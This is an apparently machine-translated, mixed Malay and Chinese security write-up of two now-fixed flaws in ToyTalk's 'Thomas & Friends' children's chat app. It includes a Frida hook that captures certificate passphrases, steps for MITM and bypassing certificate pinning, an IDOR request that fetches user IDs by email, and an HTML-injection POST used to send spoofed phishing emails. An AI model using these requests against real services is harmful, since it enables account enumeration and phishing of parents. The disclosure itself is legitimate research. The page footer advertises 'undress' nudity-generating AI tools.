


Contoh analisis untuk menemui kelemahan aplikasi sembang dalam APP mainan pintar 'Thomas the Tank Engine'
Latar belakang penemuan kerentanan
ToyTalk ialah permulaan mainan kecerdasan buatan yang diasaskan oleh bekas eksekutif Pixar Mainan pintar yang mereka reka mempunyai fungsi penjejakan visual, pengecaman suara dan pengembangan rangkaian, yang membolehkan kanak-kanak berinteraksi dengan mereka melalui APP. .
ToyTalk melancarkan APP berbayar yang dipanggil "Thomas & Friends Talk To You" pada Julai 2015, yang membolehkan kanak-kanak bersembang dengan watak kartun terkenal "Thomas the Tank Engine" sembang interaktif, yang membolehkan kanak-kanak berinteraksi dengan Thomas dan rakan-rakannya Percy, Gordon, Henry, James, Edward, Toby, dan "Pengawal Lemak" dalam perjalanan 8 cerita ke Pulau Sodor perbualan dua hala dengan Sir Topham Hatt
Untuk menguji keselamatan produk mainan ToyTalk dan risiko keselamatan yang disebabkan oleh mengakses persekitaran rangkaian rumah, saya memutuskan untuk menjalankan semakan "Thomas and Friends" Menjalankan beberapa analisis dan penyelidikan tentang APP "Chat with You" Memandangkan produk ToyTalk semuanya menggunakan sama asas kod, dan APP Thomas Talk ini mudah dipasang dan dialih keluar, ia mudah untuk diuji dan juga boleh mewakili Selain itu, produk ToyTalk yang lain, seperti Hello Barbie (Hello Barbie) dan Barbie Hello Dreamhouse (Barbie Dreamhouse) mungkin. juga mempunyai kelemahan yang sama
Keadaan kerentanan
#Kerentanan 1: - Kekurangan mekanisme pengesahan, menyerang seseorang dengan mudah berpura-pura menjadi kanak-kanak dan berbual dengan Thomas Toy
#Vulnerability 2: - Boleh berpura-pura menjadi support@toytalk.com atau pengguna berdaftar lain dan menghantar e-mel dengan pautan pancingan data HTML berniat jahat yang disuntik
Analisis cara APP berfungsi
Selepas APP "Thomas dan rakannya bersembang dengan anda" dilancarkan, ia memerlukan alamat e-mel ibu bapa untuk mengesahkan penggunaan fungsi pengecaman suara yang disediakan oleh APP Selepas menyerahkan alamat e-mel, APP memasuki larian Pada mulanya, anda mungkin merasakan bahawa permukaan serangan yang didedahkan oleh APP adalah sangat terhad, kerana ia memerlukan Sediakan kebenaran pengesahan untuk bercakap dengan mainan itu APP, dan semasa analisis, saya mendapati bahawa APP ini berbeza daripada aplikasi lain kerana ia menyediakan kaedah pengesahan dengan pelanggan Sijil, iaitu, terdapat juga proses pengesahan bersama antara APP dan pelayan WEBnya. . Berdasarkan ini, kita perlu terlebih dahulu melihat mekanisme kerja sijil pelanggan dan pengesahan kata laluan yang berkaitan
Selepas membalikkan, kami mendapati bahawa dua fungsi berikut lebih menarik:
public void setSslClientCertificate(String filename, String passphrase) { InputStream file = null; try { KeyStore store = KeyStore.getInstance("PKCS12"); file = this.mContext.getResources().getAssets().open(filename); store.load(file, passphrase.toCharArray()); this.mClientCertificate = KeyManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()); this.mClientCertificate.init(store, new char[0]); } catch (Exception e) { Log.OMG(e); } finally { Utils.close(file); } }
public void setSslCaCertificate(String filename, String passphrase) { InputStream file = null; try { KeyStore store = KeyStore.getInstance("BKS"); file = this.mContext.getResources().getAssets().open(filename); store.load(file, passphrase.toCharArray()); this.mCaCertificate = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()); this.mCaCertificate.init(store); } catch (Exception e) { Log.OMG(e); } finally { Utils.close(file); } }

import frida import sys def on_message(message, data): print message device = frida.get_device_manager().enumerate_devices()[-1] pid = device.spawn(["com.toytalk.thomas"]) print (pid) session = device.attach(pid) ss = ''' Java.perform(function () { var MyClass = Java.use("com.toytalk.library.HttpRequester"); MyClass.setSslCaCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){ send(a); send(b); return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b); } MyClass.setSslClientCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){ send(a); send(b); return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b); } }) ''' script = session.create_script(ss) script.load() script.on('message', on_message) device.resume(pid) #session.detach() sys.stdin.read()
Untungnya, yang betul. fail sijil boleh diekstrak daripada apk dan digunakan untuk melakukan serangan man-in-the-middle (MITM). Menariknya, fail toystalk.12 tidak menggunakan sebarang Kata Laluan yang dilindungi.
Sijil pelanggan kini boleh digunakan, tetapi mekanisme penyematan sijil masih perlu dipintas. Walaupun terdapat banyak cara untuk mencapai ini, cara paling mudah ialah memadam sijil dalam apk, membina semula program dan memasangnya semula. Import sijil pelanggan ke dalam Burpsuite untuk melumpuhkan fungsi mengunci sijil Selepas itu, kita boleh memasuki langkah pertama kebanyakan pemintasan ujian-trafik program APP.
Analisis Kerentanan
Kerentanan 1 - Kekurangan mekanisme pengesahan
APP juga menyediakan fungsi yang kurang jelas, iaitu, fail audio perbualan yang ditangkap akan disimpan dalam talian , yang boleh digunakan oleh ibu bapa untuk mendengar ulang tayang seterusnya Fungsi ini terikat pada alamat e-mel yang digunakan untuk kebenaran sebelumnya, walaupun alamat e-mel ini hanya digunakan apabila ibu bapa melakukan penetapan semula kata laluan.
虽然其中的发送内容涉及很多变量值,但通过把当前用户ID更改为其它用户ID后,就能把音频文件发送到指定的用户账户名下,这将会允许一些恶意攻击者向儿童父母发送一些淫秽音频信息。
在这种情况下,虽然用户ID是一个随机的全局惟一标识符(GUID),但我们可以根据邮箱地址等已知线索来发现一些有效的用户ID信息。
此外,通过在ToyTalk代码库上运行“strings”命令,我们也可以找到一些线索:
所以,根据上图信息,一旦客户端证书被安装到浏览器中后,通过访问地址:
https://api.toytalk.com/v3/account/
就能下载到一个包含用户ID的文件。有用户ID信息在手,就能更改POST请求中的ID信息,将对话音频发送到任何注册了该APP的邮箱地址中去。修复该漏洞的方法是要求提供正确的设备ID和相关联的用户ID。我们还没测试设备ID是否能以其它方法获取,但要向某个用户账号添加一个设备ID,貌似需要访问到关联的邮箱地址才行。
漏洞报送进程
2017.8.14 - 向ToyTalk报告漏洞
2017.11.16 - 被分类为一般漏洞并被初次修复,变为closed状态
2017.11.29 - ToyTalk再次测试发现漏洞仍然存在,并重置为reopen状态
2017.12.8 - 完全修复漏洞
2017.12.18 - 漏洞赏金发放并关闭漏洞报告
漏洞2 - 可向ToyTalk邮件中注入恶意HTML框架
几天过后,我的朋友建议我学习一下ToyTalk的邮箱注入机制,这是在提交漏洞1后发生的。在使用诸如“Thomas And You”等APP应用注册设备时,它会将一封电子邮件发送到用户提供的邮箱地址中, 由于该电子邮件中包含了用户信息(设备名称),如果攻击者利用漏洞1方法获取到受害者的用户ID之后,那么,接下来可以修改电子邮件HTML中包含的设备名称,以该受害者用户ID为可信发件人,向其它受害者发送恶意钓鱼邮件,或任意更改过的邮件内容。
为了向受害者发送钓鱼邮件,攻击者先要用邮箱在该APP上进行注册,利用该注册邮箱地址,再用漏洞1方法获取到受害者用户ID,用以后续进行钓鱼邮件发送。
也即,首先,攻击者用受害者注册过的邮箱地址,执行以下请求,以获取到相应的受害者用户ID:
GET /v3/account/<email> HTTP/1.1 User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F) Host: api.2.toytalk.com Connection: close</email>
然后,再以该用户ID为可信发件人,用以下POST方式,向其它受害者发送包含钓鱼链接的恶意邮件内容:
POST /v3/account/<accountid>/email/consent?device_id=asdf&device_name=TEST%20DEVICE"%20<a>click%20here</a>&application=Thomas+And+You&always HTTP/1.1 Content-Type: text/plain Content-Length: 0 User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F) Host: api.2.toytalk.com Connection: close</accountid>
以上只是一个简单的PoC示例,它利用标签将HTML链接注入到邮件内容框架中,但如果花时间调整,也可以精心制作出一个更具迷惑性的钓鱼邮件来,例如,某位家长可以假冒support@toytalk.com邮件来欺骗其它家长的用户名密码信息。以下邮件内容包含钓鱼链接,是我们冒充toytalk官方发送的:
漏洞报送进程:
2017.12.4 - 提交漏洞
2017.12.12 - 官方致谢
2017.12.18 - 官方修复漏洞
2017.12.18 - 发布赏金并关闭漏洞报告
整体来说,两个漏洞的利用方式都存在一定的受限条件,但也侧面说明了大量APP在开发过程中忽视了全面的安全考虑。
Atas ialah kandungan terperinci Contoh analisis untuk menemui kelemahan aplikasi sembang dalam APP mainan pintar 'Thomas the Tank Engine'. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Bagaimana untuk mendapatkan pengesahan nama sebenar pada Jingdong Mall APP? Jingdong Mall ialah platform membeli-belah dalam talian yang sering digunakan oleh ramai rakan Sebelum membeli-belah, sebaiknya semua orang menjalankan pengesahan nama sebenar supaya mereka dapat menikmati perkhidmatan yang lengkap dan mendapat pengalaman membeli-belah yang lebih baik. Berikut adalah kaedah pengesahan nama sebenar untuk JD.com, saya harap ia dapat membantu netizen. 1. Pasang dan buka JD.com, dan kemudian log masuk ke akaun peribadi anda 2. Kemudian klik [Saya] di bahagian bawah halaman untuk memasuki halaman pusat peribadi 3. Kemudian klik ikon kecil [Settings]; sudut kanan atas untuk pergi ke antara muka fungsi tetapan 4. Pilih [Akaun dan Keselamatan] untuk pergi ke halaman tetapan akaun 5. Akhir sekali, klik pilihan [Pengesahan nama sebenar] untuk mengisi maklumat nama sebenar; . Sistem pemasangan memerlukan anda mengisi maklumat sebenar peribadi anda dan melengkapkan pengesahan nama sebenar

Mari kita ambil apk Dashen sebagai contoh Melalui analisis skrip Lua penyahsulitan aplikasi sebelumnya, kita boleh menyahsulit skrip Lua apk Dashen Sekarang mari kita menyahsulit sumbernya (fail dan gambar konfigurasi, dsb.). Mari kita ambil fail konfigurasi yang lebih penting sebagai contoh Sebelum penyahsulitan: pengepala fail juga mempunyai nilai tandatangan: fuckyou!. Melihat ini, kami mula-mula memikirkan sama ada ia juga disulitkan dengan xxtea Kami menggunakan kaedah di atas untuk menyahsulitnya dengan xxtea, dan kemudian menyahmampatnya Kami mendapati bahawa ia masih bercelaru terpaksa menafikan apa yang kita katakan tadi. Kami terus menyahsulit fail konfigurasi langkah demi langkah. Fikirkan sejenak, pengepala fail ialah: fuckyou! Jika anda ingin menyahsulit fail, anda semestinya perlu memproses

Microsoft melancarkan SmartAppControl, ciri keselamatan Windows 11, awal tahun ini. Pada masa itu, Microsoft menyifatkan ia sebagai alat perlindungan yang "menyekat aplikasi yang tidak dipercayai atau berpotensi berbahaya." Apa yang unik tentang alat pada masa itu ialah ia menentukan sama ada ia harus dijalankan pada peranti Windows 11. SmartAppControl pada mulanya berjalan dalam mod penilaian dalam mod ini bahawa aplikasi memutuskan sama ada ia perlu dibuka. Microsoft mendedahkan bahawa pengguna boleh mendayakan Kawalan Apl Pintar dalam bahagian Kawalan Apl dan Pelayar apl Windows Security. Menurut hanya Microsoft, SmartAppC

Produk dan perkhidmatan Apple sentiasa digemari oleh pengguna di seluruh dunia. Mendaftarkan ID Apple Hong Kong akan membawa lebih banyak kemudahan dan keistimewaan kepada pengguna Mari kita lihat langkah-langkah untuk mendaftarkan ID Apple Hong Kong dan perkara yang perlu anda perhatikan. Cara mendaftar ID Apple Hong Kong Apabila menggunakan peranti Apple, banyak aplikasi dan fungsi memerlukan menggunakan ID Apple untuk log masuk. Jika anda ingin memuat turun aplikasi dari Hong Kong atau menikmati kandungan keutamaan Hong Kong AppStore, adalah sangat perlu untuk mendaftarkan ID Apple Hong Kong. Artikel ini akan memperincikan langkah tentang cara mendaftar ID Apple Hong Kong dan perkara yang perlu anda perhatikan. Langkah: Pilih bahasa dan wilayah: Cari pilihan "Tetapan" pada peranti Apple anda dan masukkan

AppStore ialah pasaran untuk aplikasi berkaitan iOS. Di sini anda juga boleh mencari apl percuma dan apl berbayar. Apl boleh menjadi apl permainan, apl produktiviti, apl utiliti, apl media sosial dan banyak lagi kategori apl. Anda mungkin telah memuat turun atau membeli banyak aplikasi untuk iPhone daripada AppStore. Kini anda mungkin tertanya-tanya bagaimana untuk melihat sejarah pembelian apl yang dibeli di App Store. Kadangkala, anda mungkin ingin menyembunyikan pembelian tertentu daripada sejarah pembelian anda atas sebab privasi. Dalam artikel ini, kami akan membimbing anda untuk mencari sejarah pembelian anda dan cara memadam/menyembunyikan pembelian daripada sejarah pembelian anda jika perlu. Bahagian 1

Aplikasi China Unicom dengan mudah boleh memenuhi keperluan semua orang Ia mempunyai pelbagai fungsi untuk menyelesaikan keperluan anda. Jika anda ingin mengendalikan pelbagai perkhidmatan, anda boleh melakukannya dengan mudah di sini adalah berkesan. Untuk mengelakkan kerugian seterusnya, ramai orang kadang-kadang merasakan bahawa data tidak mencukupi apabila menggunakan telefon bimbit, jadi mereka membeli pakej data tambahan, mereka tidak mahu bulan depan dan mahu berhenti melanggan segera menerangkan Kami menyediakan kaedah untuk berhenti melanggan, supaya rakan-rakan yang memerlukannya boleh datang dan menggunakannya! Dalam apl China Unicom, cari pilihan "Saya" di penjuru kanan sebelah bawah dan klik padanya. Dalam antara muka Saya, luncurkan lajur Perkhidmatan Saya dan klik pilihan "Saya telah memesan".

Sebagai baucar beli-belah, invois adalah penting untuk kehidupan dan kerja harian kita. Jadi apabila kami biasanya menggunakan apl Duodian untuk membeli-belah, bagaimanakah kami boleh mengeluarkan invois dalam apl Duodian dengan mudah? Di bawah, editor tapak web ini akan membawakan anda panduan langkah demi langkah yang terperinci untuk membuka invois pada apl berbilang mata. Pengguna yang ingin mengetahui lebih lanjut tidak boleh ketinggalan. Dalam [Pusat Invois], klik [Pasar Raya Berbilang Titik/Beli-Belah Percuma], pilih pesanan yang perlu diinvois pada halaman pesanan yang lengkap, klik Seterusnya untuk mengisi [Maklumat Invois], [Maklumat Penerima], dan klik Serahkan selepas mengesahkan bahawa ia betul Selepas beberapa minit, masukkan peti mel penerima, buka e-mel, klik pada alamat muat turun invois elektronik, dan akhirnya muat turun dan cetak invois elektronik.

Reka Bentuk Blackmagic akhirnya telah membawa apl Kamera Blackmagic yang dipuji ke Android. Apl kamera video profesional adalah percuma untuk dimuat turun, dan ia menawarkan kawalan manual yang lengkap. Kawalan ini bertujuan untuk memudahkan anda mengambil cin tahap pro
